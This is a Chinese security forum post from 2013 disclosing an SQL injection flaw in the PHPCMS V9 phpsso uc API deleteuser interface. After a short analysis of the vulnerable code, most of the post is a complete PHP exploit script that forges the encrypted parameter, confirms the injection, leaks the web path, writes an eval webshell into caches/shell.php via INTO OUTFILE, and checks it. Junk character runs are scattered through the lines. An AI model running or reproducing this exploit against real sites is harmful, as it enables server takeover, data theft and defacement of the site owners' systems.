找回密码
 立即注册
查看: 2469|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
" d9 J4 Z' N4 B5 y" C1 l
$ a( k: z3 s7 S# D& w  r; k: }所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。: t! _4 Q6 W# o$ q, B9 [

5 w5 @4 ~4 I& o1 Y漏洞分析:3 A' b3 z: h; V; g; R
1.未启用ucenter服务的情况下uc_key为空; k! R. h1 o/ ^( i
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
! t, ^. F8 K/ v% {0 h& P8 ?$ b5 ~2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。- R5 k: z9 _5 T, S- y
    public function deleteuser($get,$post) {: x0 S/ f# D4 ^) `8 h
        pc_base::load_app_func('global', 'admin');
  u+ q" u$ W0 l2 {7 N, ^- a4 ]* }; @        pc_base::load_app_class('messagequeue', 'admin' , 0);
+ X* _( g1 u; T% Y3 j        $ids = new_stripslashes($get['ids']);
* I# U( x' `; z! q) |+ P3 x/ {- P        $s = $this->member_db->select("ucuserid in ($ids)", "uid");6 T/ z; w5 O) d* @
SQL语句为' j; e+ j0 G% W- V" C' @  R
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)- r& M- i9 }" S8 o* @, @

7 h% D2 C0 g( ^# N; a8 _/ M利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell5 Y" R- R( N" l- |! V3 w8 s
<?php5 G" v8 s. M: }7 @( U6 e
print_r('
8 I4 W2 X; z$ z# }  t---------------------------------------------------------------------------8 S4 [* d% j7 n( v: e$ V
PHPcms (v9 or Old Version) uc api sql injection 0day8 N/ @4 H; h4 Q3 O) B% L, Q6 I+ x
by rayh4c#80sec.com
- ^' v; X) T: q% Q: w$ K---------------------------------------------------------------------------) T4 _5 O& k6 [0 `5 I* }
');3 x, r4 r2 v& T' e
; Y( h' A! \" a6 ?
if ($argc<3) {: Q7 i/ f9 F7 b; E! _9 }/ R! C
    print_r('. I  ~; D! v& Q; h3 }0 m
---------------------------------------------------------------------------
- p1 n1 e; q. m3 [/ \8 p/ zUsage: php '.$argv[0].' host path OPTIONS
2 i" y6 r' R* @6 s2 |host:      target server (ip/hostname)6 `: A# `' S. A' r5 V
path:      path to phpcms% N  M$ W: v6 _* U6 h
Options:1 Y# ]4 I4 _# E! i$ ~9 E
-p[port]:    specify a port other than 80- M4 \1 {  I* Y( V5 p) ^
-P[ip:port]: specify a proxy& O* `  `3 X% \; [
Example:* h; `9 e% x$ j; E% [3 P. ^
php '.$argv[0].' localhost /  q/ h# g, N9 x+ M
php '.$argv[0].' localhost /phpcms/ -p81% c$ y! [/ u7 @7 o5 x9 K
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80/ R9 g  ?" n) Q) A  K3 x
---------------------------------------------------------------------------8 ]0 S: I, D8 z/ B
');4 x) w- r1 y; ?3 r/ U
    die;9 n% c# ~+ {. \0 [1 \" [4 N% F. q
}7 Y8 Q$ o/ U* X8 F
) Q3 D& ]% u6 K, |1 G( v2 Z
error_reporting(7);
" a# v) e$ \3 xini_set("max_execution_time",0);8 I8 @5 A% [* Z0 N/ R4 W; w" r
ini_set("default_socket_timeout",5);% p4 M1 `* X7 ?" m: I! h

3 H$ N2 Y- E4 B& A9 `. ifunction quick_dump($string)
7 V# m% [' f, ]) g{9 f& F7 K. {) q" d
  $result='';$exa='';$cont=0;4 V* j- z0 d* m& _/ I. {! {2 p
  for ($i=0; $i<=strlen($string)-1; $i++)% g! o9 L7 r1 w0 X( }6 b- s
  {- d9 V" S3 \$ ~
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))) F) W. F, P$ ?8 P3 C
   {$result.="  .";}- Y7 w. k6 }( U3 P! _6 q
   else
% A$ w9 z  a! B. z. u' _   {$result.="  ".$string[$i];}
8 k: _: g  n/ L' t! Z1 J   if (strlen(dechex(ord($string[$i])))==2)
5 L: M/ _2 Q3 i- f- M   {$exa.=" ".dechex(ord($string[$i]));}' x! i4 h5 c, A7 \" R
   else
1 d& q0 h) T# `/ Q" |9 u( \   {$exa.=" 0".dechex(ord($string[$i]));}
/ F. P2 `  _( d" O' \7 C3 |   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
: f$ x+ L( Z% J1 ?  }
2 D% d7 N9 g7 r/ o return $exa."\r\n".$result;
- S6 ~( S* Z9 [; c, I}/ |2 q0 k1 n/ k3 G  a4 X. l( N
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';7 X. ~& Q  C# {. K
, G! ~; h4 E& A: `
function send($packet)& `  _+ C7 {& C
{
* T) v5 |# L* ^5 q) z& U' X3 @! I  global $proxy, $host, $port, $html, $proxy_regex;
7 g% I% `( N; G; J  if ($proxy=='') {3 e, `+ b: T1 C4 E
    $ock=fsockopen(gethostbyname($host),$port);  b! {! e% s5 O, g
    if (!$ock) {
, Y) u- {, `! J3 n" @' h- k/ F      echo 'No response from '.$host.':'.$port; die;
/ T& {- ~# U' |7 G' A4 G( m    }1 Y- x9 {3 H9 e9 o. m* y) y
  }
+ R) J4 Y! C8 y  else {' u+ U- \; n( h5 ~; q( ?
        $c = preg_match($proxy_regex,$proxy);
( |3 t5 h1 A6 L* y/ [) W" J    if (!$c) {  `) {6 P) p  z* I& h% E
      echo 'Not a valid proxy...';die;4 s2 d5 B. w0 @! b0 o+ V/ k& V
    }$ n, b$ Q. U: H8 {0 R3 m8 ]7 T8 A
    $parts=explode(':',$proxy);8 a% r! p6 U( l7 B* r& ^
    $parts[1]=(int)$parts[1];
9 B+ }7 h3 q; K, _  j    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
; r( k4 w: R2 x% W# x- r    $ock=fsockopen($parts[0],$parts[1]);0 q" A5 T/ ^) k9 [3 q+ f! M' `4 M
    if (!$ock) {
  ?$ R0 M. O% R+ E9 T. O2 p1 W& p      echo 'No response from proxy...';die;
7 ]% p' u' ?/ B% Y2 _: x        }
) M; Q3 l: w0 V9 K  l/ |  }
" Y: ?5 B, L, Z7 D. x; x2 Q+ Q  fputs($ock,$packet);
6 x" F- B) V% R  if ($proxy=='') {; G6 o7 T! b0 o1 e# Q! y
    $html='';4 U9 a; o+ J& c
    while (!feof($ock)) {
/ z; F( v% c% `5 R( J1 z7 K. }4 z      $html.=fgets($ock);# U( o4 `; }7 H
    }+ k. `* E# ?  `0 m9 f2 e* @) q
  }
6 `! N6 Z: e7 ~# T; K  H' Y& `. ~  else {) H( T2 g! \- v
    $html='';% Y' B1 _* l6 w- o
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
' ]$ |" O' a8 z5 a      $html.=fread($ock,1);
9 \4 h! p( J. ]3 g: w; l7 y; M    }
- N, E7 L. r! x  ?- V2 J1 U5 b  }
$ G8 v# K% W  H3 V  fclose($ock);
' P/ s! \$ [$ [' S& t}
+ q  C+ P5 A! T  f$ c- u  z0 f: S; t+ u1 N
$host=$argv[1];$ e2 Z. F$ U2 \1 s
$path=$argv[2];
& C$ o8 V* ]7 f$ u* [, ]$port=80;- ^' e9 J4 t* n8 w
$proxy="";2 r, G  `) \- q8 x- C: B( M6 n
for ($i=3; $i<$argc; $i++){4 {! T& y- }( Q2 H2 Z
$temp=$argv[$i][0].$argv[$i][1];
8 A7 q0 G' U# b& t, u0 wif ($temp=="-p")$ u( B: S3 Q' m6 h; o7 [
{
" T! N9 g9 r' h4 i& \  $port=(int)str_replace("-p","",$argv[$i]);1 q. R+ y2 ^6 ^  g; z+ j
}- I7 ]4 C0 H  j% E
if ($temp=="-P")
( h2 q5 T  A# I{
/ N0 H" \% y* w& ~5 n. j4 W, P  $proxy=str_replace("-P","",$argv[$i]);
) {# p* e% B$ n3 r) b}/ i1 T/ ~  B+ G0 w7 e6 e- q8 T  \
}
' W0 d2 R& ^. y: t" N% f- T9 A# S, |8 [
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}6 v- f( h4 x: e. e5 U
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}. A% _4 ~8 P/ \8 \0 A
" ~; l( t, ~2 L8 j* B4 v1 T' Q
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {) t+ ?, U) M6 Z  c/ F. M" S4 g

) h% d" H; R% A# F) p    $ckey_length = 4;6 d# z- _& X1 T: K4 J

6 c: T* y  S$ O: I4 [    $key = md5($key ? $key : '');
. A: K9 w4 j7 G/ g! x7 {# @    $keya = md5(substr($key, 0, 16));
9 _, Z8 z( q$ [+ k4 u2 t7 v; T    $keyb = md5(substr($key, 16, 16));
! w6 Z! Z! y' l' _    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
3 h% I( u# v" h% D* ]
; p, ~" `$ }, p+ R8 Q/ H) \    $cryptkey = $keya.md5($keya.$keyc);
. |( x, K6 ~# T- j3 l+ h- r% T    $key_length = strlen($cryptkey);
$ p. E! r1 W) n2 x: J, T3 J+ ^7 f8 P1 q
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;' G. w' o+ Q  e0 s
    $string_length = strlen($string);
" b' b1 g% l& A( u! H7 g, r
: p4 r. H0 m! b    $result = '';
& f- H0 }  i" Q$ V: o    $box = range(0, 255);# O6 U% f+ A. T- L# E9 r( u

) \% N, Q% D( n0 I. s    $rndkey = array();+ \8 o# q$ X7 q* {+ f2 N# n
    for($i = 0; $i <= 255; $i++) {
4 I, q5 }' |  g. o        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
0 h/ v# [0 ^- ^/ s    }6 F4 C& V% N0 D
" B: k. g8 A& U; J, v! `: X
    for($j = $i = 0; $i < 256; $i++) {
" l( T9 E% ?) I8 g% f        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
) u2 O- _& E. P        $tmp = $box[$i];2 r, f2 z2 d) H' ~5 a7 T+ g, `/ ?
        $box[$i] = $box[$j];- x2 Q- `6 T, }6 F4 j' d
        $box[$j] = $tmp;% p! [1 p) j/ i/ ]7 ^; ]
    }, D/ {3 F1 |9 z
% o* G4 R0 ]; u' a; k* [
    for($a = $j = $i = 0; $i < $string_length; $i++) {' v% v; v& j/ Z, T% i
        $a = ($a + 1) % 256;% Z6 Q5 L1 g( v% H
        $j = ($j + $box[$a]) % 256;( R1 l2 C6 l; @7 o  i
        $tmp = $box[$a];
) ?4 h: v4 u% ]        $box[$a] = $box[$j];
# f+ z4 R% N& g( T, b/ {        $box[$j] = $tmp;# O0 d- i+ B5 {- w) k
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));# W1 U$ j3 v4 U) ^8 ]2 X0 l3 d
    }% _* \0 o& s* a3 L& A7 Y! H

- u% V/ i. O) P" y1 [    if($operation == 'DECODE') {% k3 {) q/ _3 ^
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {5 f& [+ w! Q: y# F
            return substr($result, 26);( q1 ?5 x8 M1 f5 V$ S; \
        } else {' c' e4 l8 R! T3 Y; _: Y
            return '';1 _9 V) d1 O" c! f
        }$ R; I; C* w! h* q" X9 G' h0 o
    } else {/ R! J4 @& q9 C0 D- M/ M4 j
        return $keyc.str_replace('=', '', base64_encode($result));- W3 E9 L% z& a3 h1 {, ?
    }
) Z9 b7 P5 r) w. c, K' L2 r0 G& l5 |3 Q( l& y
}
6 U2 a# u+ e& t" l+ U) p& I% _+ X3 y, j/ n- Y9 l
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";% ~" ~$ }/ o: X) u
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
0 V0 a' ]* Z: f0 R. Iecho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
6 ]$ Z$ y7 G/ x/ {, e. B' A6 H$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";5 z  j' }  M3 n" R% g2 n9 K
$packet.="User-Agent: Mozilla/5.0\r\n";
3 K% r( q. J  ?/ u$packet.="Host: ".$host."\r\n";
: K# Y! `1 ]8 ]* G1 m$packet.="Connection: Close\r\n\r\n";
; V  s; g, A9 e0 D' v  ~, Psend($packet);
" ^8 ^% Q) x) ?5 ~, Rif(strpos($html,"MySQL Errno") > 0){! c5 n" Y' M$ A( I/ \* `% r
echo "[2] 发现存在SQL注入漏洞"."\n";
! {. D5 T" I0 T5 u2 Cecho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
- m, r3 D4 M+ V! E$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
# t/ v' y) M/ u( S; t$packet.="User-Agent: Mozilla/5.0\r\n";# p' [0 ?/ D* S( x
$packet.="Host: ".$host."\r\n";
" g9 l8 E! H1 s, S! N$packet.="Connection: Close\r\n\r\n";+ u, b+ i& ~7 D6 D% ^
send($packet);
  [/ a) L3 {" Y# T1 V# f' F" @4 [preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);4 m1 ~- q8 N2 X8 {4 s
//print_r($matches);
9 f  v6 z6 ~# c: ^! ~if(!empty($matches)){
+ v1 I3 k* z  |5 e/ kecho "[4] 得到web路径 " . $matches[0]."\n";
. m4 y1 v( }! ?* ~/ `4 b5 Fecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
' p4 p* ~* ?( H9 h4 v! H$SQL = "time=999999999999999999999999&ids=1)";
5 A+ B8 o( w0 E$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
2 s; Y$ A' ^% D' r! Y7 n" o" W$SQL.="&action=deleteuser";/ E# W& R) m( q% s- Q
$SQL = urlencode(authcode($SQL, "ENCODE", ""));, c6 F$ [* j/ x+ z! m9 e0 Z
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";. c# ]! h" l9 o# M
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
% O1 y+ J. U  x0 j4 ^& Q1 x: B( L$packet.="User-Agent: Mozilla/5.0\r\n";+ ?) {% V: B3 K! q3 A7 z: C8 Y5 a
$packet.="Host: ".$host."\r\n";( {3 Z( D: K2 i# M
$packet.="Connection: Close\r\n\r\n";
! T. {7 t  m8 T3 |3 q. i# ^send($packet);0 Z& L, Y/ H1 i9 x8 M
if(strpos($html,"Access denied") > 0){( u, [/ k* b6 W+ Q# c$ l( b
echo "[-] MYSQL权限过低 禁止写入文件 ";
- \) V7 g" w% fdie;* S6 j- r$ a! k3 O9 T1 q! }
}' R& q4 w; A$ J  l% r+ S
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";+ s! r6 R- Q" s: L
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
* Z5 v8 I, M" l. U$packet.="User-Agent: Mozilla/5.0\r\n";
) F# l1 _  C3 N; H" i0 F) U1 R$packet.="Host: ".$host."\r\n";
, p- [2 z, z5 _9 A# S& e: D$packet.="Connection: Close\r\n\r\n";
) W% _9 t9 o: n# L: K. b$ s9 N3 B( w/ Asend($packet);. w2 H0 X; k! C' Y. X! u
if(strpos($html,"<title>phpinfo()</title>") > 0){
& O. s' `9 m- Z5 y# h3 necho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";4 Y& v/ a$ _5 e8 X9 \
}3 Y+ M9 _3 V0 x6 c8 d) i* d
}else{3 }* j- k- N" u$ o8 G. a
echo "[-]未取到web路径 ";
; s  l# }- f2 c/ y( Z% u}* o7 W, \6 |6 X) y0 e: l
}else{
  d, n: J. C8 L; d* p& \3 Lecho "[*]不存在SQL注入漏洞"."\n";
% s7 r7 X4 F6 B+ U4 g4 a}
9 B, o2 v4 t  H; w; [  t# D
( O' ]9 o- N1 Z?>) B. t6 F( D3 F" d! a
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表